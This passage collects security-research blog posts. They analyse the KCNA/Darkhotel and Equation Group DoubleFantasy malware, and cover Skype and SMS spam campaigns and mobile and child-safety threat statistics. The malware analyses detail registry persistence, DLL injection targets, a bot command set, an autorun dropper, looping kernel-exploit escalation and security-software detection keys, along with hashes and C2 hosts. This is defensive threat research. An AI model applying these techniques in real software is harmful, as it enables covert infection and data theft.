viral spread through network shares and removable drives. While each count in this list represents a unique organization or system that detected a set of KCNA-viral infected files on their drives, the total infected file detection count is almost 20,000 files. Focusing on the Daws.awfy spread, we get a different picture of the malware's reach: Country Systems and organzations encountering infected files China 481 Malaysia 51 Russia 47 Korea, Republic of 34 Taiwan 14 Senegal 14 Korea, Democratic People's Republic of 11* India 9 Mexico 9 Qatar 9 It's important to note the different conditions that apply to North Korea. First of all, the limited IP space means that multiple unique systems share IP addresses –in the case of DPRK victims above, the number is based on unique systems instead of unique IP addresses. Next, we attribute the relatively low number of network-based infections to the restrictive policies that keep many users from connecting to the larger Internet from KP ip ranges in the first place. A network- and usb-based viral infector is a great tool for a malicious actor to use the few front-facing systems in order to infect computers on an isolated intranet, like the one connecting most machines inside NK. However, that very isolation makes it impossible to precisely quantify the malware's success inside that intranet at this time. Timestamps and timelines KCNA malware dropper compilation timestamp: Tue, 13 Mar 2012 02:24:49 GMT. Darkhotel information stealer compilation timestamp: Mon, 30 Apr 2012 00:25:59 GMT. Also interesting is that mostly all of the additional KCNA malware related components were compiled in mid-March 2012. The first Darkhotel APT spoofed flashplayer installer incidents recorded in our KSN data began in 2012 and peaked in 2013. This KCNA incident would fall in the peak timeframe for this type of offensive activity for Darkhotel. Noteworthy Components In addition to the legitimate flash player upgrade that this archive maintains, the backdoor components that it drops to disk and executes seem to be clustered as Windows Live components (i.e.: Defender, IM Messenger). The two most interesting dropped files are the following: 78d3c8705f8baf7d34e6a6737d1cfa18,c:\windows\system32\mscaps.exe 978888892a1ed13e94d2fcb832a2a6b5,c:\windows\system32\wtime32.dll The mscaps.exe component's reboot persistence setting is added to the registry here: HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{a96adc11-e20e-4e21-bfac-3e483c40906e}, where its stubpath is set to '"C:\WINDOWS\system32\mscaps.exe" /s /n /i:U shell32.dll'. This setting ensures that every time the explorer.exe shell is started or restarted on the system, this executable injects its code. Other analyses of this malware failed to mention the presence of Madshi's madCodeHook. It is a legitimate commercial DLL injection and api hooking framework, in this case used to inject the att.dll spyware component specifically into the following communications applications: • Internet Explorer – iexplore.exe, ieuser.exe • Mozilla Firefox, firefox.exe • Google Chrome, chrome.exe • Microsoft Outlook Express, msimn.exe • Microsoft Outlook, outlook.exe • Windows Mail, winmail.exe • Windows Live Mail, wlmail.exe • MSN Messenger, msnmsgr.exe • Yahoo! Messenger, yahoomessenger.exe • Windows FTP Client, ftp.exe The LoadLibraryExW hook is placed here: The hook jmp listed here: Related string parsing loop here: Other analysis notes that ws2_32.dll, or the winsock2 library, is dropped to disk and copied to mydll.dll. The reason for this is most likely to maintain stable Winsock2 hooks across Windows OS. In the past, some madCodeHooks set on Winsock2 api proved to be unstable, so these guys just include one that they know works. This implementation throws a wrench in the works, it is certainly a dissimilarity. The madCodeHook library was not observed in Darkhotel malware. The wtime32.dll component is dropped to disk and loaded at startup into explorer.exe. It is then injected into each of the listed "interesting" processes. It is a very interesting bot component, communicating with its three c2 domains and listening for further commands. It maintains 13 primitive interactive bot commands: Command Command Description cmd run provided cmd and output to file as a part of newly created and killed process, i.e. "cmd /c tree > file 2>&1" inf collect system information - operating system version, username, computername, system drive, local time, all connected drives and properties, network adapter properties, disk free space, enumerate all installed programs as per-user or per-machine cap capture screenshot and send to c2 dlu ncomplete function dll open a process with all access, write a dll to memory and remotely create thread (load a dll into a remote process) put receive, decrypt, and write specified file to disk got report status on retrieved file get collect, encrypt, and retrieve specified file exe run provided executable name with WinExec del record file attributes to specified c2 and delete specified file dir record and report to c2 all files in current directory tree and their attributes: filename, file size, last write time, archive or directory, hidden, system quit exit thread prc process request Its functionality includes older technologies used here that we just don't see anymore. Not only does it provide for NTFS, FAT32, FAT16, and FAT filesystem I/O routines, but it implements the older FAT12 I/O routines as well. Low level Windows95 raw disk access is enabled with CreateFileA on \\.\vwin32 through the vwin32 virtual driver. Finally, the KCNA malware does have a unique trick up its sleeve. Its dropped components' ability to scan connected drives and network shares to copy their contents and deliver a special something to further its spread. So in its own crude way, this malware could hop across usb-enabled air-gapped networks by infecting both executables and archives on usb sticks. Conclusions The KCNA incident and the related viral bot's spread leaves more questions than solid answers. Chalking this campaign up to DPRK operations is certainly a simplistic thing to do and unsupported here. The possibility for the spread of an internal network virus or the possibility of an XSS-enabled website compromise are both high. Some similarities with the Darkhotel toolset are present, including the network configuration, spoofing technique, as well as the format and selection of stolen data. Were these to be related campaigns, particularities of the KCNA malware show that the Darkhotel actor may still have some tricks up its sleeve. Appendix Components Dropped by the KCNA Malware 78d3c8705f8baf7d34e6a6737d1cfa18, mscaps.exe, Tue, 12 Apr 2011 09:15:59 GMT 978888892a1ed13e94d2fcb832a2a6b5, wtime32.dll, 213kb, Trojan.Win32.Agent.hwgw, CompiledOn:Wed, 29 Feb 2012 00:50:36 GMT 2d9df706d1857434fcaa014df70d1c66, arc.dll, 1029kb, Trojan.Win32.Agent.hwgw, CompiledOn:Tue, 13 Mar 2012 02:34:00 GMT fffa05401511ad2a89283c52d0c86472, att.dll, 229KB, Trojan.Win32.Agent.hwgw, CompiledOn:Tue, 13 Mar 2012 02:24:32 GMT 1fcc5b3ed6bc76d70cfa49d051e0dff6, dis.dll, 120.kb, Trojan.Win32.Agent.hwgw, CompiledOn:Tue, 13 Mar 2012 02:24:36 GMT d0c9ada173da923efabb53d5a9b28d54, fil.dll, 126kb, UDS:DangerousObject.Multi.Generic, CompiledOn:Tue, 13 Mar 2012 02:24:41 GMT daac1781c9d22f5743ade0cb41feaebf, launch.exe, 172KB, HEUR:Trojan.Win32.Generic, CompiledOn:Tue, 13 Mar 2012 02:24:52 GMT 6a9461f260ebb2556b8ae1d0ba93858a, sha.dll, 89KB, Trojan.Win32.Agent.hwgw, CompiledOn:Tue, 13 Mar 2012 02:24:43 GMT f1c9f4a1f92588aeb82be5d2d4c2c730, usd.dll, 99KB, Trojan.Win32.Agent.hwgw, CompiledOn:Tue, 13 Mar 2012 02:24:46 GMT 59ee2ff6dbac2b6cd3e98cb0ff581bdb, WdExt.exe, 1.66MB, Trojan.Win32.Agent.hwgw, CompiledOn:Tue, 13 Mar 2012 02:24:49 GMT f415ea8f2435d6c9656cc6525c65bd3c, wtmps.exe, 1.94MB, Trojan-Dropper.Win32.Daws.awfy, CompiledOn:Mon, 05 Mar 2012 08:37:55 GMT Related MD5s, Domains, and Detections Trojan.Win32.Agent.hwgw 78d3c8705f8baf7d34e6a6737d1cfa18, mscaps.exe 2d9df706d1857434fcaa014df70d1c66, arc.dll 1e7c6907b63c4a485e7616aa04351da7, @aedf66.tmp.exe 1fcc5b3ed6bc76d70cfa49d051e0dff6, dis.dll 523b4b169dde3bcab81311cfdee68e92, wdext.exe 541989816355fd606838260f5b49d931, wdext.exe 5e34f85278bf3504fc1b9a59d2e7479b, wdext.exe 6a9461f260ebb2556b8ae1d0ba93858a, sha.dll 78ba5b642df336009812a0b52827e1de, wdexe.exe 7f15d9149736966f1df03fc60e87b8ac, wdext.exe 7f3a38093bd60da04d0fa5f50867d24f 82206de94db9fb9413e7b90c2923d674 a59d9476cfe51597129d5aec64a8e422, @ae465f.tmp.exe f1c9f4a1f92588aeb82be5d2d4c2c730, usd.dll fffa05401511ad2a89283c52d0c86472, att.dll d0c9ada173da923efabb53d5a9b28d54, fil.dll Trojan-Dropper.Win32.Daws.awfy 2f7b96b196a1ebd7b4ab4a6e131aac58 8948f967b61fecf1017f620f51ab737d ...and almost 800 other executables that were infected on network shares and attached drives c2 Domains a.gwas.perl.sh,211.233.75.83 a-gwas-01.dyndns.org a-gwas-01.slyip.net ### Skyfall Meets Skype Wed, 03/04/2015 - 11:14 The portmanteau-named SKYPEFALL.EXE is the latest, very active, malware-spamming campaign spreading through Skype. We first registered this attack on March 3 using both Spanish and English to lure victims. How does this attack work? The victim receives a Skype message in the following format: Dios Mio! [user name in Skype] video: http://********skype.info/video/?n=[user name in Skype] Oh, My God ! [user name in Skype] video: http://********skype.info/video/?n=[user name in Skype] If they click on the link and use Internet Explorer, it leads them to a fake video Website full of fabricated comments meant to pique the users interest while inviting the victim to download a plugin in order to watch the video itself: Again, the URL used in the malicious message sent through Skype is available only if the browser referrer points to Internet Explorer. If the victim uses any other browser, the URL is simply unavailable. The initial setup.exe is a RAR auto-extractible file with embedded instructions. It includes a full GUI installation package. The victim receives both Adware-like functionality as well as Backdoor capabilities. Once it is installed on the victim's machine, it abuses the new victim's Skype friends list to continue spamming the aforementioned messages. The instructions for its behavior are downloaded from another server and look like this: { "skype_restart_mins": 120, "old_friend_hours": 48, "del_msgs_limit": 5, "send_strategy": 1, "max_loc_msgs": 60} The malware also includes an embedded SMTP client that would potentially allow the attackers to send spam through the victim's machine. The attackers leading this campaign are changing this binary on the Web every few hours. In this way, they are trying to evade any consistent AV detection. Kaspersky lab detects this threat as Trojan-Dropper.Win32.SkyDll.a. ### Dating Lisa for 1 Euro Wed, 03/04/2015 - 11:11 Last night I got a unexpected SMS in German language on one of my phones. A message from "Lisa", pretending to know me, including an url luring the reader to a picture of her. The short-url points to the domain "m.bensbumsblog.com", which is already known for being used in SMS-spam for dating-websites, redirecting to a dating website. As there was no preregistration or request for this SMS, this clearly belongs into the category unsolicited bulk message. The final target of the link is "daily-date.de". This website requires registration (username, password, mail-address and several personal questions). Finally it offers premium access to the system, which means searching, meeting and texting people as well as watching pictures, not for free though. This campaign offers a 14-day trail for 1€. The domain "bensbumsblog.com" is protected by an anonymizing service to avoid identifying the owner. Although the IP-address is owned by a cloud service (according to RIPE lookup) and rented by some marketing company (IP reverse lookup). The final website "daily-date.de" belongs to a German company, located in Berlin. A look at the click-statistics from "bit.ly" shows that this campaign started on 03.03.2015 and got more than 10,000 clicks within 18 hours, most of them from Germany. Most clicks appeared in the first 3 hours of the campaign (started around 18:00 CET). The "bit.ly"-user "benbu", who setup this Link, already created 15 Bitlinks/Short-URLs (active since 2nd of march 2015). Amount of Bitlinks Target/Campaign 6 DailyDates (this campaign) 1 Easy money/credit cards 8 Coupons Spam is a common problem, not only via email. Although SMS-Spam is more common in Asia but less common in Europe. Having a look at other campaigns by this user, not all were successful. Besides this campaign, 6 others got some clicks. All mostly targeting Germany. Created Target/Campaign Clicks 02.03.2015 Coupons 2630 02.03.2015 Coupons 1764 02.03.2015 Coupons 250 02.03.2015 DailyDates 993 03.03.2015 Coupons 1878 03.03.2015 Coupons 1004 In general make sure that you don't just click on any link you get as there might also be malicious content behind. To improve protection of your mobile (smartphone/tablet) always ensure you install updates. Further you should have security software installed to be protected against mobile malware. ### Threats to Children Online: The Danger is Real Wed, 03/04/2015 - 07:00 Download Full Report PDF The Internet has long ceased to be the preserve of grown-ups. Children today are often far more active Internet users than their parents. But is it safe enough for children to use without fear of facing inappropriate content? To find out we decided to investigate potential online threats to children. The research is based on data processed by our Kaspersky Security Network. We analyzed data from more than a million Kaspersky Lab customers. Each of them had encountered dangerous content at least once in the last year. The results show that more than half (59.5%) of users encountered pornography; over a quarter (26.6%) landed on websites dedicated to gambling; every fifth user stumbled across sites featuring weapons; and almost the same number were confronted by strong language. Percentage of users worldwide encountered dangerous content in 2014 Two thirds (67.29%) came across chat services. Only a small proportion of these services, such as those with anonymity functions or predominately adult subscribers, represent a potential threat to children. As a result it is difficult to take overall chat service encounters as an accurate indication of the level of risk to young people. However, the data does confirm the popularity of chat; and the greater the popularity of chat services in any given country, the greater the probability that children might occasionally or even intentionally enter into an unsafe chat environment. So, if nothing else, evidence of frequent encounters with chat services could be a sign for parents to pay more attention to the nature of these services and the likelihood of their child being drawn in. Websites carrying these kinds of inappropriate content (adult, chat, gambling and weapons), along with others featuring drugs, tobacco and alcohol, were the ones blocked most often by Kaspersky Lab protection solutions. The frequency of detections demonstrates just how easy it is for users to encounter such content online. The higher the frequency: the greater the probability. The most frequent use of parental controls were from China, USA, German, the UK and Russia #KLReport In geographical terms, the countries with the most frequent Parental Control detections were China, the USA, Germany, the UK and Russia. France, Vietnam, Brazil and Algeria also ranked in the top ten in terms of inappropriate content detection – but were relatively safer due to a lower frequency of detection. Each of the top ten most affected countries has its own distinct characteristics when it comes to the prevailing online threats for children. For instance, adult content was the biggest threat to users in Germany (with 172 detections per user), China (144.18 detections per user), and the US (126.16 detections). Content about alcohol, tobacco and drugs was a major threat to users from Russia, Germany, the USA and France. The frequency of detection was especially high in these countries. This kind of content also proved popular in Brazil and the UK. Parents should choose parental control solutions to help protect their children #KLReport The fact that the threat landscape for children changes significantly from country to country is one of the most remarkable findings to emerge from the research. It is a clear sign for parents around the world to pay special attention to what their children are doing online in their own country, as every situation will be different. To protect young people, we recommend that adults choose protection solutions with Parental Control technologies and make full use of safe "children" modes in search engines and applications that allow access to multimedia content and which are used by children. However, although Parental Control technologies can block access to web sites with content that is dangerous or distressing for children, they cannot offer reliable protection in situations where safe-by-default web services like social networks or chats are misused by predators or users conducting cyberbullying campaigns. Internet security deserves to be taken as seriously as real-life physical security #KLReport Internet security deserves to be taken as seriously as real-life physical security. That's why we urge parents to take an active part in their children's real and digital lives. Only then can they be sure that they won't miss the moment when their child might need their support. Read more about online threats to children in the full text of the research. ### The Enemy on your Phone Thu, 02/26/2015 - 06:00 Many people believe that there are no malware programs on smartphones. There was a time when there was some truth in this. A few years ago mobile platform operators originally designed their products with very high security levels. Mobile operating systems did not allow malicious programs to easily seize control and make themselves at home on devices. Sadly that's no longer the case. Mobile devices are fundamentally different, they can do much more. A modern smartphone is a full-blown working tool, an entertainment center and a tool to manage your personal finances. The more it can do, the more attractive it is to cybercriminals. They want to steal a slice of that pie and the more tempting the prize, the more they create malicious applications, and invent methods to infect computers and to distribute malware. Since Q1 2012, the number of malicious programs has grown more than tenfold, to exceed 12,000,000 in Q4 2014 The evidence for this is clear when we look at the rapid growth in the numbers of mobile Trojans. The rate of growth is impressive: since Q1 2012, the number of malicious programs has grown more than tenfold, to exceed 12,000,000 in Q4 2014. The number of detected malicious installation packages Looking at the types of malicious programs is also revealing. It is easy to see that SMS Trojans and multi-purpose backdoors are giving way to malicious adware and Trojan bankers. However, just because a specific type of malware is losing its market share, this doesn't mean it is disappearing: it should be also remembered that the overall number of malware programs targeting mobile devices keeps growing. Distribution of mobile malware by function (files from Kaspersky Lab's collection) Malware writers don't create tons of malicious programs to build up a private collection or show off on some forum. All malware programs find their victims, and it is at times surprising to see how a seemingly innocuous loophole can allow them onto users' mobile devices. Do it yourself Believe it or not, users often infect their mobile devices with their own hands. The ways to get malicious code on a regular computer without any user involvement are well known. Cybercriminals hack websites, users visit the sites and a hidden frame is opened in their browsers to download malware on to the victim machine using an arsenal of exploits. On mobile platforms, everything is different. The underlying principles behind these platforms mean there are almost no vulnerabilities that would enable cybercriminals to attack a device without the user's knowledge and consent. So criminals need some help from users: Trojans must be installed and launched by their intended victims. It's like the old joke about the first, primitive virus: 'please delete all your important data and reformat your hard drive'. A classic method to make money with mobile malware is to send premium-rate SMS messages from your phone Installing programs is one of the weakest places in mobile platforms, especially Android. Under iOS, you have to spend time fiddling around before you can install a program from anywhere other than App Store; however, Android allows users to do that by checking just one box in the settings. Once that's done, the system will check the digital signature of any installation package, and theoretically that should protect your device against malicious programs. But here's the snag: there are no Android certification centers, so anyone can create their own signature. Of course cybercriminals just sign off their own security confirmation and the installation goes ahead without a hitch when the user clicks 'OK'. And many users do click 'OK'. After all, it's often easier than investigating everything about the app you're allowing onto your device. Information security is usually far from the thoughts of a regular user. People love a bargain and find it hard to resist a free download of a useful program or a favorite game from some helpful-looking website. Often the application, once installed, will work as expected, except that money is drained from the phone's account at an alarming rate, and the user's credit card will soon get empty… Or, if users are invited to watch an exclusive video on an interesting site, perhaps they'd take a minute to update their Flash Players? Fake Adobe Flash Player update page. Users are told to update an outdated version of Flash Player on their devices Inexperienced users do not know that the update process for software on smartphones is different than on computers, so cybercriminals can trick them into installing anything under the guise of a useful upgrade. Cybercriminals are extremely aggressive and astute when pursuing their targets: malicious applications are typically distributed in the form of various tempting software programs, games, porn clips or players for watching porn. Where to find malware Since users have to install malicious programs on their smartphones with their own hands, cybercriminals need to somehow entice them to a web resource where the malware is available. "Black SEO" is one of the methods used to do that. Black SEO is a type of search optimization that encourages search engines to display a link to the preferred malicious resource at the top of the search results. As soon as the site receives a top position in the search results, a harvest of unwitting users can be reaped. A bored user types "Android games download" in a search engine and receives a link to web-site in the first or second line at the top of search results. That site may indeed contain games, but they come with some unpleasant extras. People tend to trust the sites from the top lines of search results. Users think that since thousands of people visit a web-site, it will also have the game or program they are looking for. Users do not think about security. That's a big mistake. To bring the malicious site to the top of the search results, cybercriminals often use botnets: thousands of bots send search requests to Google and Yandex and visit the cybercriminals' site, boosting its ranking. Links to the cybercriminals' site are also published on all types of forums, bulletin boards, and in comments on news sites. The crawler bots of search engines find them there, so the rankings grow even faster. Of course search engines try to stop this abuse of their services. They block hundreds of malicious sites. But that's not a big problem for cybercriminals: they keep creating and promoting new sites with the help of automatic tools. SMS spam is yet another means of enticing users to sites containing malicious applications. It could be a simple, non-targeted mass-mailing of messages containing a link to the site: at least some of the recipients will follow the link. As soon as such program lands on somebody's smartphone, it will start to send SMS messages containing the malicious link to the owner's entire contact list. A message from a person you know raises few suspicions, especially if the text looks natural, so many do indeed follow the link they received, hoping to see some photos or jokes that their friend is sharing. But once opened, the site actually hosts malware samples from the cybercriminal. Another method allows cybercriminals to exploit the popularity of legitimate resources. Cybercriminals hack popular online resources high visitor traffic, such as news sites, online stores, specialized portals. If the site's software contains known vulnerabilities, a code is embedded to the page and redirects the users to another site containing malware. If no vulnerabilities could be found, cybercriminals can still try to steal the site admin's credentials by using phishing and social engineering. If they succeed they can do anything to the site, including posting malware on the site itself. Fake Android Market In addition mobile malicious applications are distributed "almost honestly" – via app stores. This might be a legitimate program containing embedded malicious code; a specially created application which imitates some useful functionalities; or a bare-bones malicious program, with just a name and an icon as a camouflage. Fake Google Play Such programs are usually uploaded to unofficial app stores which either neglect security measures altogether or only take a cursory look at the content that gets published. However, there have been cases when dangerous programs got uploaded to official app stores – Google Play and even Apple App Store, which is historically more secure. Naturally, the manufacturers promptly clean their stores, but cybercriminals never sit on their hands either. How cybercriminals make money Once malware lands on your smartphone, it starts its mission of making money for its owner, naturally at your expense. A modern mobile device is a real goldmine for a cybercriminal; it only takes the appropriate mining skills. Mobile malware: methods of making money Expensive tricks The least damaging money-spinner used by cybercriminals is obtrusive adware. It doesn't do much harm, but it doesn't take long for all those pop-up ads to get annoying. Getting rid of them is often more of a challenge: it takes quite an effort to find out which program is actually producing the banners. It could be Angry Birds HD, or it could be that something that has a name you cannot read aloud and masquerades as a system application. There is also a curious category of fake apps that do nothing at all – neither good nor bad – but still cost good money. Some of these are clear dummies on offer in paid-apps sections of application stores, like a program that promises to make you rich but only displays an image of a diamond on the smartphone's screen. Others pretend to be useful applications, such as antivirus programs, and demand payments from the user for protection against Trojans that have supposedly overrun the device. Money from your telephone A classical method to make illegal money with mobile malware is to send SMS to premium-rate numbers. A Trojan running on your phone simply sends several premium-rate SMS messages and drains your account. Your phone service provider sends money from your account to the renter of the premium-rate number (the cybercriminal) without asking any questions, since premium-rate numbers are still a popular way to pay for different types of online services. Another way to make money from the owners of infected smartphones is to steal their valuable data. There are tons of things of interest in your address book, SMS messages and email. At the very least, your address book can be used to replenish the spam databases, so your contacts will receive piles of ads and malicious links. Also, if you've ever sent or received web site administrator credentials and have not updated them since then, you can be sure that the cybercriminals will appreciate it and will adopt your site into the their malicious "family". Smartphone or your wallet? Ransomware Trojans for PCs are abundant. Recently, they've started emerging on mobile devices. The scam is simple: once installed on your mobile device, the Trojan displays a screen making threats and demanding a ransom. You can no longer work with your device. All you can do is to enter the special code that they promise to send you as soon as you pay them a specified amount of money. Message displayed by this ransomware sample: "Your phone has been blocked for viewing banned porn (Pedophilia, Zoophilia)! All photo and video materials have been sent for further investigation. To unblock your phone and delete this material, you must pay a 1,000-ruble fine within 24 hours. To do this, top up number XXXX at the nearest payment kiosk. Warning! If the fine is not paid, all data will be made public" It is impossible to delete the Trojan unless you hard reset the settings and the contents of the device's flash memory. For many the value of the data on the device makes it worth paying the ransom. However, the cybercriminals do not always send the unblock code even after the ransom is paid. The key to your bank However, none of the above scams are anything like as costly as this relatively new way of stealing from mobile device owners. In recent years mobile banking services have become increasingly popular. Every major bank has developed an app that allows clients to manage their money from their smartphone or, at the very least, use SMS banking services. Mobile banking #malware threats increased since 2013 - from less than 100 to 13,000 by Oct. 2014 Suddenly many smartphones are the key to bank accounts – often to several accounts at the same time. This offers many opportunities to make illegal profits – and promises greater rewards than the traditional SMS and ransomware scams of old. Not surprisingly, cybercriminals have been quick to embrace this new opportunity. The statistics clearly show how much interest mobile virus writers have in users' bank accounts. At the start of 2013, there were less than a hundred Trojan bankers in Kaspersky Lab's collection; at the October 2014, there are more than 13,000 of them. The number of detected banking malware programs Banking Trojans are enjoying a surge in popularity all over the world but Russia is facing the brunt of this boom. Russia is a place where malware writers test-run their creations before using them in other countries. Geography of mobile banking threats. January – October 2014 (Number of attempted installations of banking Trojans) For cybercriminals, SMS banking is the easiest path to other people's money. It doesn't even require new tools – existing SMS Trojans work just fine. Banks often assume the client's phone is a trusted environment and follow SMS instructions without query.. Clients can send money from their bank accounts to their own or somebody else's mobile phone account. Using that feature, the cybercriminals send an appropriate SMS and send money from the victim to their phone number. After that it is easy to withdraw the money using advanced mobile payment systems. Quite often, banking Trojans work in partnership with computer Trojans; Faketoken is one example. When the user's computer is infected with a banking Trojan it waits until they visit their online banking account. Then the malware program becomes active and displays a window to the user, asking them to download an Android application which is allegedly required to securely confirm the transaction. Gullible users obediently install Faketoken on their smartphones. After that it is only a matter of time: the malware on the computer steals the credentials, and the cybercriminals gain access to the user's banking account. They make a transaction and Faketoken intercepts the one-time confirmation code (mTAN) sent by the bank in an SMS. In the end some Vasily P. collects a hefty sum of money divested from the user's account, and cashes it immediately at an ATM. We saw this piece of malware attacking users in 55 countries, including Germany, Sweden, France, Italy, the UK and the USA. A third method is to use independent mobile banking Trojans which can masquerade as a mobile banking applications or simply spoof the banking application's interface. The Trojan gets hold of the users' credentials and sends the information to its C&C server. The cybercriminal uses the intercepted data to make a transaction. Svpeng is a good example of this tactic. This mobile Trojan opens a window on top of a legitimate application window, imitating the banking applications of the largest Russian and Ukrainian banks. Phishing window imitating the bank's own application Using these programs, cybercriminals can strip you of all your savings in an instant, drain your accounts and close your deposits. They can also put you in debt by running up your entire available credit. Don't dig a hole for yourself The proportion of malicious applications among all applications installed by users varies from country to country. Here are the figures for some countries for January – October 2014 (according to Kaspersky Security Network data): Vietnam 2.34% Switzerland 0.36% Poland 1.88% India 0.34% Chezh 1.02% Canada 0.23% France 0.84% Germany 0.18% Belgium 0.74% Brazil 0.17% China 0.73% Italy 0.09% Ukraine 0.70% Austria 0.07% Russia 0.69% USA 0.07% Mexico 0.62% Hong Kong 0.05% Spain 0.54% New Zeland 0.05% Belarus 0.50% Norway 0.04% Iran 0.38% Japan 0.01% The fact is it's fairly easy to protect yourself against all these sophisticated mobile threats. Mobile platform developers have taken good care of security and the user is often the weakest link in the security chain. This is good and bad at the same time. It's a problem because many users don't pay much attention to their security. But the plus side is that you only need to follow a few simple recommendations to safeguard yourself against all the above threats. We recommend that you follow the following simple rules. • Do not jailbreak / root your smartphone. While it will give you extra opportunities on your phone, it will also give the green light to cybercriminals. • On an Android phone, disable the option of installing software from untrusted sources. • Install a mobile security product on your phone. It will analyze all applications before installation. • Try not to follow any links arriving in SMS, even if they come from people you know. • If you do follow a link in an SMS, do not accept any downloads or installations. • Only updates your applications with downloads from official stores, not third-party sites. ### Equation Group: from Houston with love Thu, 02/19/2015 - 05:00 In 2009, an international scientific conference was held in Houston, USA. Leading scientists from several countries were invited to attend. As is traditional for such events, the organizers sent out a post-meeting CDROM containing a presentation with the best photos from the event. It is unlikely that any of the recipients expected that while they were enjoying the beautiful pictures and memories a nation-state sponsored Trojan Horse was activating silently in the background. Photo slideshow played from the CD Interestingly, it looks as if most of the attendees brought pens and paper instead of laptops. Self-elevating Autorun The disk contains two files in the root folder, an autorun.inf and autorun.exe. This is typical of many CDROMs. The autorun.inf simply executes the main EXE from root. Here's what it looks like: [AutoRun] open=Autorun.exe icon=Presentation\Show.exe,0 More interesting is the autorun.exe binary, which has the following attributes: Date of compilation 2009.12.23 13:37:33 (GMT) Size 62464 bytes MD5 6fe6c03b938580ebf9b82f3b9cd4c4aa The program starts by checking the current user's privileges. If the current user has no administrative rights, it tries to elevate privileges using three different exploits for vulnerabilities in the Windows kernel. These vulnerabilities were patched by the following Microsoft patches: • MS09-025 • MS12-034 • MS13-081 Considering the date the CDROM was shipped, it means that two of the exploits were zero-days. It's notable that the code attempts different variants of kernel exploits, and does so in a loop, one by one, until one of them succeeds. The exploit set from the sample on the CDROM includes only three exploits, but this exploitation package supports the running of up to 10 different exploits, one after another. It's not clear whether this means that there is also a malware with 10 EoP exploits in it, or whether it's just a logical limitation. The code has separate payloads for Windows NT 4.0, 2000, XP, Vista and Windows 2008, including variations for certain service pack versions. In fact, it runs twice: firstly, to temporarily elevate privileges, then to add the current user to the local administrators group on the machine, for privilege elevation persistence. Such attacks were crafted only for important victims who couldn't otherwise be reached #EquationAPT #TheSAS2015 If these actions are successful, the module starts another executable from the disk, rendering the photo slideshow with pictures from the Houston conference. At the end, just before exiting, the code runs an additional procedure that does some special tests. If the date of execution fell before 1 July 2010 and it detects no presence of Bitdefender Total Security 2009/2010 or any Comodo products, it loads an additional DLL file from the disk named "show.dll", waits for seven seconds, unloads the DLL and exits. If the date fell after 1 July 2010, or any of the above products are installed, it drops execution immediately. The "Show" Begins – introducing DoubleFantasy The main loader and privilege escalation tool, "autorun.exe" fires up a special dropper, which is actually an Equation Group DoubleFantasy implant installer. The installer is stored as "show.dll" in the "Presentation" folder of the CDROM. The DLL file has the following attributes: Date of compilation 2009.03.20 17:42:21 (GMT) Size 151'552 bytes MD5 ef40fcf419954226d8c029aac8540d5a Filename show.dll Short Description DoubleFantasy installer First it locates data in the resource section, unpacks (UCL) and XOR-decrypts configuration data from one of the resources. Next it creates the following registry keys: • HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91} • HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\Version After that it sets the (Default) value for "Version" subkey as "008.002.000.003", which identifies the implant version. It also attempts to self-delete on the next reboot, which fails if it's started from the CD. When run by the exploitation package "Autorun.exe", the program already has administrative privileges from one of the three exploits. However, the code checks again if it's running with administrative privileges, and attempts to elevate using just two kernel vulnerabilities: • MS09-025 • MS12-034 This indicates that the DoubleFantasy installer has been designed to run independently from the disk from Houston with its "Autorun.exe". In fact, we've observed the independent use of the DoubleFantasy installer in other cases as well. The installer checks for security software using a list of registry keys and values stored in the resource section. The keys are checked in quite a delicate "non-alarming" way using key enumeration instead of direct key access. List of top level keys checked: • HKLM\Software\KasperskyLab\protected\AVP7\profiles\Behavior_Blocking\profiles\pdm\settings • HKLM\Software\KasperskyLab\AVP6\profiles\Behavior_Blocking\profiles\pdm\settings • HKLM\Software\Agnitum\Outpost Firewall • HKLM\Software\PWI, Inc. • HKLM\Software\Network Ice\BlackIce • HKLM\Software\S.N.Safe&Software • HKLM\Software\PCTools\ThreatFire • HKLM\Software\ProSecurity • HKLM\Software\Diamond Computer Systems • HKLM\Software\GentleSecurity\GeSWall If any of them exist, the installer will mark the system by setting a special registry key: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\MiscStatus The mark will be in the form of {CE0F7387-0BB5-E60B-xxxx-xxxxxxxxxxxx} for the (Default) value data and will then exit. If no security software is identified, it will unpack (UCL) and XOR-decrypt the main payload, which is extracted into %system%\ee.dll. Remarkably, it loads the DLL using its own custom loader instead of using standard system LoadLibrary API call. The module looks as if it was built using a set of components or libraries that perform: • Privilege escalation (it seems to be an early version of the same lib used in autorun.exe) • Security software detection • Resource parsing and unpacking • Loading of PE files This library code supports Win9x and the Windows NT family from NT4.0 to NT6.x. It should be mentioned that these libraries are not very well merged together. For instance, some parts of the code are unused. Here's what the DoubleFantasy decoded configuration block looks like: Decoded DoubleFantasy configuration block Some of the C&Cs from DoubleFantasy configuration: • 81.31.34.175 (Czech Republic) • 195.128.235.231 (Italy) The DoubleFantasy malware copied into the victim's machine has the following properties: Date of compilation 2009.03.31 15:32:42 (GMT) Size 69'632 bytes MD5 b8c0eb946de83fe8440fefbacf7de4a2 Filename ee.dll Short Description DoubleFantasy implant It should be noted that both the installer and the malware appear to have been compiled several months before "autorun.exe" from the CDROM, suggesting that they are more or less generic implants. It also suggests that the "autorun.exe" was probably compiled specially for the CDROM-based attack. The DoubleFantasy Malware is the first step in the infection of a victim by the #EquationAPT Group #TheSAS2015 The Equation Group's DoubleFantasy implant is a validator-style Trojan which sends basic information about the system to the attackers. It also allows them to upload a more sophisticated Trojan platform, such as EquationDrug or GrayFish. In general, after one of these sophisticated platforms are installed, the attackers remove the DoubleFantasy implant. In case the victim doesn't check out, for example, if they are a researcher analysing the malware, the attackers can simply choose to uninstall the DoubleFantasy implant and clean up the victim's machine. In fact, there are several known versions of the DoubleFantasy payload. The disk from Houston used version 8.2.0.3; while other versions were mostly delivered using web-exploits. Decrypting configuration blocks from all known DoubleFantasy samples, we obtained the following internal version numbers: • 8.1.0.4 (MSREGSTR.EXE) • 008.002.000.006 • 008.002.001.001 • 008.002.001.004 • 008.002.001.04A (subversion "IMIL3.4.0-IMB1.8.0") • 008.002.002.000 • 008.002.003.000 • 008.002.005.000 • 008.002.006.000 • 011.000.001.001 • 012.001.000.000 • 012.001.001.000 • 012.002.000.001 • 012.003.001.000 • 